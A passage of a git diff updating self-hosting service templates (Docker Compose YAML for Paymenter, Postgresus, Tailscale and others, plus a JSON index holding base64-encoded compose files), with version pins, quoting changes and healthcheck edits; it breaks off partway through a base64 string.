+      - 'ENABLE_AIM_ASSIST_PAD=${ENABLE_AIM_ASSIST_PAD:?True}'
+      - 'ENABLE_AIM_ASSIST_KEYBOARD=${ENABLE_AIM_ASSIST_KEYBOARD:?False}'
+      - 'DROP_ITEM_MAX_NUM=${DROP_ITEM_MAX_NUM:?3000}'
+      - 'DROP_ITEM_MAX_NUM_UNKO=${DROP_ITEM_MAX_NUM_UNKO:?100}'
+      - 'BASE_CAMP_MAX_NUM=${BASE_CAMP_MAX_NUM:?128}'
+      - 'BASE_CAMP_WORKER_MAX_NUM=${BASE_CAMP_WORKER_MAX_NUM:?15}'
+      - 'DROP_ITEM_ALIVE_MAX_HOURS=${DROP_ITEM_ALIVE_MAX_HOURS:?1.000000}'
+      - 'AUTO_RESET_GUILD_NO_ONLINE_PLAYERS=${AUTO_RESET_GUILD_NO_ONLINE_PLAYERS:?False}'
+      - 'AUTO_RESET_GUILD_TIME_NO_ONLINE_PLAYERS=${AUTO_RESET_GUILD_TIME_NO_ONLINE_PLAYERS:?72.000000}'
+      - 'GUILD_PLAYER_MAX_NUM=${GUILD_PLAYER_MAX_NUM:?20}'
+      - 'BASE_CAMP_MAX_NUM_IN_GUILD=${BASE_CAMP_MAX_NUM_IN_GUILD:?4}'
+      - 'PAL_EGG_DEFAULT_HATCHING_TIME=${PAL_EGG_DEFAULT_HATCHING_TIME:?72.000000}'
+      - 'WORK_SPEED_RATE=${WORK_SPEED_RATE:?1.000000}'
+      - 'AUTO_SAVE_SPAN=${AUTO_SAVE_SPAN:?30.000000}'
+      - 'IS_MULTIPLAY=${IS_MULTIPLAY:?False}'
+      - 'IS_PVP=${IS_PVP:?False}'
+      - 'HARDCORE=${HARDCORE:?False}'
+      - 'PAL_LOST=${PAL_LOST:?False}'
+      - 'CAN_PICKUP_OTHER_GUILD_DEATH_PENALTY_DROP=${CAN_PICKUP_OTHER_GUILD_DEATH_PENALTY_DROP:?False}'
+      - 'ENABLE_NON_LOGIN_PENALTY=${ENABLE_NON_LOGIN_PENALTY:?True}'
+      - 'ENABLE_FAST_TRAVEL=${ENABLE_FAST_TRAVEL:?True}'
+      - 'IS_START_LOCATION_SELECT_BY_MAP=${IS_START_LOCATION_SELECT_BY_MAP:?True}'
+      - 'EXIST_PLAYER_AFTER_LOGOUT=${EXIST_PLAYER_AFTER_LOGOUT:?False}'
+      - 'ENABLE_DEFENSE_OTHER_GUILD_PLAYER=${ENABLE_DEFENSE_OTHER_GUILD_PLAYER:?False}'
+      - 'INVISIBLE_OTHER_GUILD_BASE_CAMP_AREA_FX=${INVISIBLE_OTHER_GUILD_BASE_CAMP_AREA_FX:?False}'
+      - 'BUILD_AREA_LIMIT=${BUILD_AREA_LIMIT:?False}'
+      - 'ITEM_WEIGHT_RATE=${ITEM_WEIGHT_RATE:?1.000000}'
+      - 'COOP_PLAYER_MAX_NUM=${COOP_PLAYER_MAX_NUM:?4}'
+      - 'REGION=${REGION:-}'
+      - 'USEAUTH=${USEAUTH:?True}'
+      - 'BAN_LIST_URL=${BAN_LIST_URL:?https://api.palworldgame.com/api/banlist.txt}'
+      - 'REST_API_ENABLED=${REST_API_ENABLED:?False}'
+      - 'REST_API_PORT=${REST_API_PORT:?8212}'
+      - 'SHOW_PLAYER_LIST=${SHOW_PLAYER_LIST:?True}'
+      - 'ENABLE_PREDATOR_BOSS_PAL=${ENABLE_PREDATOR_BOSS_PAL:?True}'
+      - 'MAX_BUILDING_LIMIT_NUM=${MAX_BUILDING_LIMIT_NUM:?0}'
+      - 'SERVER_REPLICATE_PAWN_CULL_DISTANCE=${SERVER_REPLICATE_PAWN_CULL_DISTANCE:?15000.000000}'
+      - 'SERVER_REPLICATE_PAWN_CULL_DISTANCE_IN_BASE_CAMP=${SERVER_REPLICATE_PAWN_CULL_DISTANCE_IN_BASE_CAMP:?5000.000000}'
+      - 'CROSSPLAY_PLATFORMS=${CROSSPLAY_PLATFORMS:?(Steam,Xbox,PS5,Mac)}'
+      - 'USE_BACKUP_SAVE_DATA=${USE_BACKUP_SAVE_DATA:?True}'
+      - 'USE_DEPOT_DOWNLOADER=${USE_DEPOT_DOWNLOADER:?False}'
+      - 'INSTALL_BETA_INSIDER=${INSTALL_BETA_INSIDER:?False}'
+      - 'ALLOW_GLOBAL_PALBOX_EXPORT=${ALLOW_GLOBAL_PALBOX_EXPORT:?True}'
+      - 'ALLOW_GLOBAL_PALBOX_IMPORT=${ALLOW_GLOBAL_PALBOX_IMPORT:?False}'
+      - 'EQUIPMENT_DURABILITY_DAMAGE_RATE=${EQUIPMENT_DURABILITY_DAMAGE_RATE:?1.000000}'
+      - 'ITEM_CONTAINER_FORCE_MARK_DIRTY_INTERVAL=${ITEM_CONTAINER_FORCE_MARK_DIRTY_INTERVAL:?1.000000}'
+      - 'BOX64_DYNAREC_STRONGMEM=${BOX64_DYNAREC_STRONGMEM:-}'
+      - 'BOX64_DYNAREC_BIGBLOCK=${BOX64_DYNAREC_BIGBLOCK:-}'
+      - 'BOX64_DYNAREC_SAFEFLAGS=${BOX64_DYNAREC_SAFEFLAGS:-}'
+      - 'BOX64_DYNAREC_FASTROUND=${BOX64_DYNAREC_FASTROUND:-}'
+      - 'BOX64_DYNAREC_FASTNAN=${BOX64_DYNAREC_FASTNAN:-}'
+      - 'BOX64_DYNAREC_X87DOUBLE=${BOX64_DYNAREC_X87DOUBLE:-}'
diff --git a/templates/compose/paymenter.yaml b/templates/compose/paymenter.yaml
index 29f38af2e..6ce4ae3b9 100644
--- a/templates/compose/paymenter.yaml
+++ b/templates/compose/paymenter.yaml
@@ -7,56 +7,65 @@
 
 services:
   paymenter:
-    image: ghcr.io/paymenter/paymenter:latest
+    image: 'ghcr.io/paymenter/paymenter:v1.4.5'
     volumes:
-      - app_logs:/app/storage/logs
-      - app_public:/app/storage/public
+      - 'app_logs:/app/storage/logs'
+      - 'extenstions:/app/extensions'
+      - 'themes:/app/themes'
+      - 'app_storage:/app/storage/app'
+      - 'app_public_storage:/app/storage/app/public'
     environment:
-      SERVICE_URL_PAYMENTER: ${SERVICE_URL_PAYMENTER_80}
-      DB_DATABASE: ${MYSQL_DATABASE:-paymenter-db}
-      DB_PASSWORD: ${SERVICE_PASSWORD_MYSQL}
-      DB_USERNAME: ${SERVICE_USER_MYSQL}
+      SERVICE_URL_PAYMENTER: '${SERVICE_URL_PAYMENTER_80}'
+      DB_DATABASE: '${MYSQL_DATABASE:-paymenter-db}'
+      DB_PASSWORD: '${SERVICE_PASSWORD_MYSQL}'
+      DB_USERNAME: '${SERVICE_USER_MYSQL}'
       APP_ENV: production
       CACHE_STORE: redis
       SESSION_DRIVER: redis
       QUEUE_CONNECTION: redis
       REDIS_HOST: redis
       REDIS_USERNAME: default
-      REDIS_PASSWORD: ${SERVICE_PASSWORD_64_REDIS}
+      REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
       DB_CONNECTION: mariadb
       DB_HOST: mariadb
       DB_PORT: 3306
-      APP_KEY: ${SERVICE_BASE64_KEY}
+      APP_KEY: '${SERVICE_BASE64_KEY}'
     depends_on:
       mariadb:
         condition: service_healthy
       redis:
         condition: service_started
     healthcheck:
-      test: ["CMD-SHELL", "curl -sf http://localhost:80 || exit 1"]
+      test:
+        - CMD-SHELL
+        - 'curl -sf http://localhost:80 || exit 1'
       interval: 10s
       timeout: 1s
       retries: 3
-
   mariadb:
-    image: mariadb:11
+    image: 'mariadb:11.8'
     volumes:
-      - paymenter_mariadb_data:/var/lib/mysql
+      - 'paymenter_mariadb_data:/var/lib/mysql'
     environment:
-      - MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT}
-      - MYSQL_DATABASE=${MYSQL_DATABASE:-paymenter-db}
-      - MYSQL_USER=${SERVICE_USER_MYSQL}
-      - MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL}
+      - 'MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT}'
+      - 'MYSQL_DATABASE=${MYSQL_DATABASE:-paymenter-db}'
+      - 'MYSQL_USER=${SERVICE_USER_MYSQL}'
+      - 'MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL}'
     healthcheck:
-      test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"]
+      test:
+        - CMD
+        - healthcheck.sh
+        - '--connect'
+        - '--innodb_initialized'
       interval: 5s
       timeout: 20s
       retries: 10
-
   redis:
-    image: redis:alpine
+    image: 'redis:alpine'
     healthcheck:
-      test: ["CMD-SHELL", "redis-cli ping || exit 1"]
+      test:
+        - CMD-SHELL
+        - 'redis-cli ping || exit 1'
       interval: 10s
       timeout: 1s
       retries: 3
diff --git a/templates/compose/plausible.yaml b/templates/compose/plausible.yaml
index 516c4f2cf..de1749e58 100644
--- a/templates/compose/plausible.yaml
+++ b/templates/compose/plausible.yaml
@@ -70,7 +70,7 @@ services:
         source: ./clickhouse/clickhouse-config.xml
         target: /etc/clickhouse-server/config.d/logging.xml
         read_only: true
-        content: "<clickhouse><logger><level>warning</level><console>true</console></logger><query_thread_log remove="remove"/><query_log remove="remove"/><text_log remove="remove"/><trace_log remove="remove"/><metric_log remove="remove"/><asynchronous_metric_log remove="remove"/><session_log remove="remove"/><part_log remove="remove"/></clickhouse>"
+        content: '<clickhouse><logger><level>warning</level><console>true</console></logger><query_thread_log remove="remove"/><query_log remove="remove"/><text_log remove="remove"/><trace_log remove="remove"/><metric_log remove="remove"/><asynchronous_metric_log remove="remove"/><session_log remove="remove"/><part_log remove="remove"/></clickhouse>'
       - type: bind
         source: ./clickhouse/clickhouse-user-config.xml
         target: /etc/clickhouse-server/users.d/logging.xml
diff --git a/templates/compose/postgresus.yaml b/templates/compose/postgresus.yaml
new file mode 100644
index 000000000..a3a8a55e9
--- /dev/null
+++ b/templates/compose/postgresus.yaml
@@ -0,0 +1,20 @@
+# documentation: https://postgresus.com/#guide
+# slogan: Postgresus is a free, open source and self-hosted tool to backup PostgreSQL.
+# category: devtools
+# tags: postgres,backup
+# logo: svgs/postgresus.svg
+# port: 4005
+
+services:
+  postgresus:
+    image: rostislavdugin/postgresus:7fb59bb5d02fbaf856b0bcfc7a0786575818b96f # Released on 30 Sep, 2025
+    environment:
+      - SERVICE_URL_POSTGRESUS_4005
+    volumes:
+      - postgresus-data:/postgresus-data
+    healthcheck:
+      test:
+        ["CMD", "wget", "-qO-", "http://localhost:4005/api/v1/system/health"]
+      interval: 5s
+      timeout: 10s
+      retries: 5
diff --git a/templates/compose/redis-insight.yaml b/templates/compose/redis-insight.yaml
index 2ba01c0c3..0e6056c6a 100644
--- a/templates/compose/redis-insight.yaml
+++ b/templates/compose/redis-insight.yaml
@@ -23,7 +23,7 @@ services:
         - CMD
         - wget
         - '--spider'
-        - 'http://localhost:5540'
+        - 'http://0.0.0.0:5540/api/health'
       interval: 10s
       retries: 3
       timeout: 10s
diff --git a/templates/compose/rybbit.yaml b/templates/compose/rybbit.yaml
index 3c8f7564c..fe214bf16 100644
--- a/templates/compose/rybbit.yaml
+++ b/templates/compose/rybbit.yaml
@@ -1,6 +1,7 @@
 # documentation: https://rybbit.io/docs
 # slogan: Open-source, privacy-first web analytics.
-# tags: analytics,web,privacy,self-hosted,clickhouse,postgres
+# category: analytics
+# tags: analytics, web, privacy, self-hosted, clickhouse, postgres
 # logo: svgs/rybbit.svg
 # port: 3002
 
@@ -130,4 +131,4 @@ services:
                       <log_processors_profiles>0</log_processors_profiles>
                   </default>
               </profiles>
-          </clickhouse>
\ No newline at end of file
+          </clickhouse>
diff --git a/templates/compose/tailscale-client.yaml b/templates/compose/tailscale-client.yaml
new file mode 100644
index 000000000..ed675e795
--- /dev/null
+++ b/templates/compose/tailscale-client.yaml
@@ -0,0 +1,43 @@
+# documentation: https://tailscale.com/kb
+# slogan: Tailscale securely connects your devices over the internet using WireGuard.
+# category: networking
+# tags: vpn, wireguard, remote-access
+# logo: svgs/tailscale.svg
+
+services:
+  tailscale-client:
+    image: 'tailscale/tailscale:latest'
+    hostname: '${TS_HOSTNAME:-coolify-ts}'
+    environment:
+      - 'TS_HOSTNAME=${TS_HOSTNAME:-coolify-ts}'
+      - 'TS_AUTHKEY=${TS_AUTHKEY:?}'
+      - 'TS_STATE_DIR=${TS_STATE_DIR:-/var/lib/tailscale}'
+      - 'TS_USERSPACE=${TS_USERSPACE:-false}'
+    volumes:
+      - 'tailscale-client:/var/lib/tailscale'
+    devices:
+      - '/dev/net/tun:/dev/net/tun'
+    cap_add:
+      - net_admin
+    healthcheck:
+      test: ["CMD-SHELL", "tailscale status --json | grep -q 'BackendState'"]
+      interval: 10s
+      timeout: 5s
+      retries: 5
+
+  nginx:
+    image: nginx:latest
+    depends_on:
+      - tailscale-client
+    network_mode: 'service:tailscale-client'
+    healthcheck:
+      test:
+        - CMD
+        - curl
+        - '-f'
+        - 'http://localhost:80/'
+        - '-o'
+        - /dev/null
+      interval: 20s
+      timeout: 5s
+      retries: 3
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 4d365b483..063556a14 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -581,7 +581,7 @@
     "codimd": {
         "documentation": "https://hackmd.io/c/codimd-documentation?utm_source=coolify.io",
         "slogan": "Realtime collaborative markdown notes on all platforms",
-        "compose": "c2VydmljZXM6CiAgY29kaW1kOgogICAgaW1hZ2U6ICduYWJvLmNvZGltZC5kZXYvaGFja21kaW8vaGFja21kOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NPRElNRF8zMDAwCiAgICAgIC0gJ0NNRF9ET01BSU49JHtTRVJWSUNFX1VSTF9DT0RJTUR9JwogICAgICAtICdDTURfUFJPVE9DT0xfVVNFU1NMPSR7Q01EX1BST1RPQ09MX1VTRVNTTDotZmFsc2V9JwogICAgICAtICdDTURfU0VTU0lPTl9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NFU1NJT05TRUNSRVR9JwogICAgICAtICdDTURfVVNFQ0ROPSR7Q01EX1VTRUNETjotZmFsc2V9JwogICAgICAtICdDTURfREJfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1jb2RpbWQtZGJ9JwogICAgICAtICdDTURfRU1BSUw9JHtDTURfRU1BSUw6LXRydWV9JwogICAgICAtICdDTURfQUxMT1dfRU1BSUxfUkVHSVNURVI9JHtDTURfQUxMT1dfRU1BSUxfUkVHSVNURVI6LXRydWV9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtZiBodHRwOi8vbG9jYWxob3N0OjMwMDAvIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiA1CiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzX2RhdGE6L2hvbWUvaGFja21kL2FwcC9wdWJsaWMvdXBsb2FkcycKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnY29kaW1kX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jb2RpbWQtZGJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "compose": "c2VydmljZXM6CiAgY29kaW1kOgogICAgaW1hZ2U6ICduYWJvLmNvZGltZC5kZXYvaGFja21kaW8vaGFja21kOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0NPRElNRF8zMDAwCiAgICAgIC0gJ0NNRF9ET01BSU49JHtTRVJWSUNFX0ZRRE5fQ09ESU1EfScKICAgICAgLSAnQ01EX1BST1RPQ09MX1VTRVNTTD0ke0NNRF9QUk9UT0NPTF9VU0VTU0w6LXRydWV9JwogICAgICAtICdDTURfU0VTU0lPTl9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NFU1NJT05TRUNSRVR9JwogICAgICAtICdDTURfVVNFQ0ROPSR7Q01EX1VTRUNETjotZmFsc2V9JwogICAgICAtICdDTURfREJfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1jb2RpbWQtZGJ9JwogICAgICAtICdDTURfRU1BSUw9JHtDTURfRU1BSUw6LXRydWV9JwogICAgICAtICdDTURfQUxMT1dfRU1BSUxfUkVHSVNURVI9JHtDTURfQUxMT1dfRU1BSUxfUkVHSVNURVI6LXRydWV9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtZiBodHRwOi8vbG9jYWxob3N0OjMwMDAvIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiA1CiAgICB2b2x1bWVzOgogICAgICAtICd1cGxvYWRzX2RhdGE6L2hvbWUvaGFja21kL2FwcC9wdWJsaWMvdXBsb2FkcycKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnY29kaW1kX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jb2RpbWQtZGJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
         "tags": [
             "markdown",
             "md",
@@ -599,7 +599,7 @@
     "convex": {
         "documentation": "https://github.com/get-convex/convex-backend/blob/main/self-hosted/README.md?utm_source=coolify.io",
         "slogan": "Convex is the open-source reactive database for app developers.",
-        "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1iYWNrZW5kOjAwYmQ5MjcyMzQyMmYzYmZmOTY4MjMwYzk0Y2NkZWI4YzE3MTk4MzInCiAgICB2b2x1bWVzOgogICAgICAtICdkYXRhOi9jb252ZXgvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0JBQ0tFTkRfMzIxMAogICAgICAtICdJTlNUQU5DRV9OQU1FPSR7SU5TVEFOQ0VfTkFNRTotc2VsZi1ob3N0ZWQtY29udmV4fScKICAgICAgLSAnSU5TVEFOQ0VfU0VDUkVUPSR7U0VSVklDRV9IRVhfMzJfU0VDUkVUfScKICAgICAgLSAnQ09OVkVYX1JFTEVBU0VfVkVSU0lPTl9ERVY9JHtDT05WRVhfUkVMRUFTRV9WRVJTSU9OX0RFVjotfScKICAgICAgLSAnQUNUSU9OU19VU0VSX1RJTUVPVVRfU0VDUz0ke0FDVElPTlNfVVNFUl9USU1FT1VUX1NFQ1M6LX0nCiAgICAgIC0gJ0NPTlZFWF9DTE9VRF9PUklHSU49JHtTRVJWSUNFX1VSTF9DT05WRVh9JwogICAgICAtICdDT05WRVhfU0lURV9PUklHSU49JHtTRVJWSUNFX1VSTF9CQUNLRU5EfScKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOi19JwogICAgICAtICdESVNBQkxFX0JFQUNPTj0ke0RJU0FCTEVfQkVBQ09OOj9mYWxzZX0nCiAgICAgIC0gJ1JFREFDVF9MT0dTX1RPX0NMSUVOVD0ke1JFREFDVF9MT0dTX1RPX0NMSUVOVDo/ZmFsc2V9JwogICAgICAtICdET19OT1RfUkVRVUlSRV9TU0w9JHtET19OT1RfUkVRVUlSRV9TU0w6P3RydWV9JwogICAgICAtICdQT1NUR1JFU19VUkw9JHtQT1NUR1JFU19VUkw6LX0nCiAgICAgIC0gJ01ZU1FMX1VSTD0ke01ZU1FMX1VSTDotfScKICAgICAgLSAnUlVTVF9MT0c9JHtSVVNUX0xPRzotaW5mb30nCiAgICAgIC0gJ1JVU1RfQkFDS1RSQUNFPSR7UlVTVF9CQUNLVFJBQ0U6LX0nCiAgICAgIC0gJ0FXU19SRUdJT049JHtBV1NfUkVHSU9OOi19JwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke0FXU19BQ0NFU1NfS0VZX0lEOi19JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtBV1NfU0VDUkVUX0FDQ0VTU19LRVk6LX0nCiAgICAgIC0gJ0FXU19TRVNTSU9OX1RPS0VOPSR7QVdTX1NFU1NJT05fVE9LRU46LX0nCiAgICAgIC0gJ0FXU19TM19GT1JDRV9QQVRIX1NUWUxFPSR7QVdTX1MzX0ZPUkNFX1BBVEhfU1RZTEU6LX0nCiAgICAgIC0gJ0FXU19TM19ESVNBQkxFX1NTRT0ke0FXU19TM19ESVNBQkxFX1NTRTotfScKICAgICAgLSAnQVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TPSR7QVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TOi19JwogICAgICAtICdTM19TVE9SQUdFX0VYUE9SVFNfQlVDS0VUPSR7UzNfU1RPUkFHRV9FWFBPUlRTX0JVQ0tFVDotfScKICAgICAgLSAnUzNfU1RPUkFHRV9TTkFQU0hPVF9JTVBPUlRTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfU05BUFNIT1RfSU1QT1JUU19CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX1NUT1JBR0VfTU9EVUxFU19CVUNLRVQ9JHtTM19TVE9SQUdFX01PRFVMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX0ZJTEVTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfRklMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ9JHtTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX0VORFBPSU5UX1VSTD0ke1MzX0VORFBPSU5UX1VSTDotfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAtZiBodHRwOi8vMTI3LjAuMC4xOjMyMTAvdmVyc2lvbicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHN0YXJ0X3BlcmlvZDogMTBzCiAgZGFzaGJvYXJkOgogICAgaW1hZ2U6ICdnaGNyLmlvL2dldC1jb252ZXgvY29udmV4LWRhc2hib2FyZDozM2NlZjc3NWE4YTYyMjhjYmFjZWU0YTA5YWMyYzQwNzNkNjJlZDEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ09OVkVYXzY3OTEKICAgICAgLSAnTkVYVF9QVUJMSUNfREVQTE9ZTUVOVF9VUkw9JHtTRVJWSUNFX1VSTF9CQUNLRU5EfScKICAgIGRlcGVuZHNfb246CiAgICAgIGJhY2tlbmQ6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6Njc5MS8nCiAgICAgIGludGVydmFsOiA1cwogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
+        "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnZ2hjci5pby9nZXQtY29udmV4L2NvbnZleC1iYWNrZW5kOjAwYmQ5MjcyMzQyMmYzYmZmOTY4MjMwYzk0Y2NkZWI4YzE3MTk4MzInCiAgICB2b2x1bWVzOgogICAgICAtICdkYXRhOi9jb252ZXgvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0JBQ0tFTkRfMzIxMAogICAgICAtICdJTlNUQU5DRV9OQU1FPSR7SU5TVEFOQ0VfTkFNRTotc2VsZi1ob3N0ZWQtY29udmV4fScKICAgICAgLSAnSU5TVEFOQ0VfU0VDUkVUPSR7U0VSVklDRV9IRVhfMzJfU0VDUkVUfScKICAgICAgLSAnQ09OVkVYX1JFTEVBU0VfVkVSU0lPTl9ERVY9JHtDT05WRVhfUkVMRUFTRV9WRVJTSU9OX0RFVjotfScKICAgICAgLSAnQUNUSU9OU19VU0VSX1RJTUVPVVRfU0VDUz0ke0FDVElPTlNfVVNFUl9USU1FT1VUX1NFQ1M6LX0nCiAgICAgIC0gJ0NPTlZFWF9DTE9VRF9PUklHSU49JHtTRVJWSUNFX1VSTF9EQVNIQk9BUkR9JwogICAgICAtICdDT05WRVhfU0lURV9PUklHSU49JHtTRVJWSUNFX1VSTF9CQUNLRU5EfScKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOi19JwogICAgICAtICdESVNBQkxFX0JFQUNPTj0ke0RJU0FCTEVfQkVBQ09OOj9mYWxzZX0nCiAgICAgIC0gJ1JFREFDVF9MT0dTX1RPX0NMSUVOVD0ke1JFREFDVF9MT0dTX1RPX0NMSUVOVDo/ZmFsc2V9JwogICAgICAtICdET19OT1RfUkVRVUlSRV9TU0w9JHtET19OT1RfUkVRVUlSRV9TU0w6P3RydWV9JwogICAgICAtICdQT1NUR1JFU19VUkw9JHtQT1NUR1JFU19VUkw6LX0nCiAgICAgIC0gJ01ZU1FMX1VSTD0ke01ZU1FMX1VSTDotfScKICAgICAgLSAnUlVTVF9MT0c9JHtSVVNUX0xPRzotaW5mb30nCiAgICAgIC0gJ1JVU1RfQkFDS1RSQUNFPSR7UlVTVF9CQUNLVFJBQ0U6LX0nCiAgICAgIC0gJ0FXU19SRUdJT049JHtBV1NfUkVHSU9OOi19JwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke0FXU19BQ0NFU1NfS0VZX0lEOi19JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtBV1NfU0VDUkVUX0FDQ0VTU19LRVk6LX0nCiAgICAgIC0gJ0FXU19TRVNTSU9OX1RPS0VOPSR7QVdTX1NFU1NJT05fVE9LRU46LX0nCiAgICAgIC0gJ0FXU19TM19GT1JDRV9QQVRIX1NUWUxFPSR7QVdTX1MzX0ZPUkNFX1BBVEhfU1RZTEU6LX0nCiAgICAgIC0gJ0FXU19TM19ESVNBQkxFX1NTRT0ke0FXU19TM19ESVNBQkxFX1NTRTotfScKICAgICAgLSAnQVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TPSR7QVdTX1MzX0RJU0FCTEVfQ0hFQ0tTVU1TOi19JwogICAgICAtICdTM19TVE9SQUdFX0VYUE9SVFNfQlVDS0VUPSR7UzNfU1RPUkFHRV9FWFBPUlRTX0JVQ0tFVDotfScKICAgICAgLSAnUzNfU1RPUkFHRV9TTkFQU0hPVF9JTVBPUlRTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfU05BUFNIT1RfSU1QT1JUU19CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX1NUT1JBR0VfTU9EVUxFU19CVUNLRVQ9JHtTM19TVE9SQUdFX01PRFVMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX0ZJTEVTX0JVQ0tFVD0ke1MzX1NUT1JBR0VfRklMRVNfQlVDS0VUOi19JwogICAgICAtICdTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ9JHtTM19TVE9SQUdFX1NFQVJDSF9CVUNLRVQ6LX0nCiAgICAgIC0gJ1MzX0VORFBPSU5UX1VSTD0ke1MzX0VORFBPSU5UX1VSTDotfScKICAgIGhlYWx0aGNo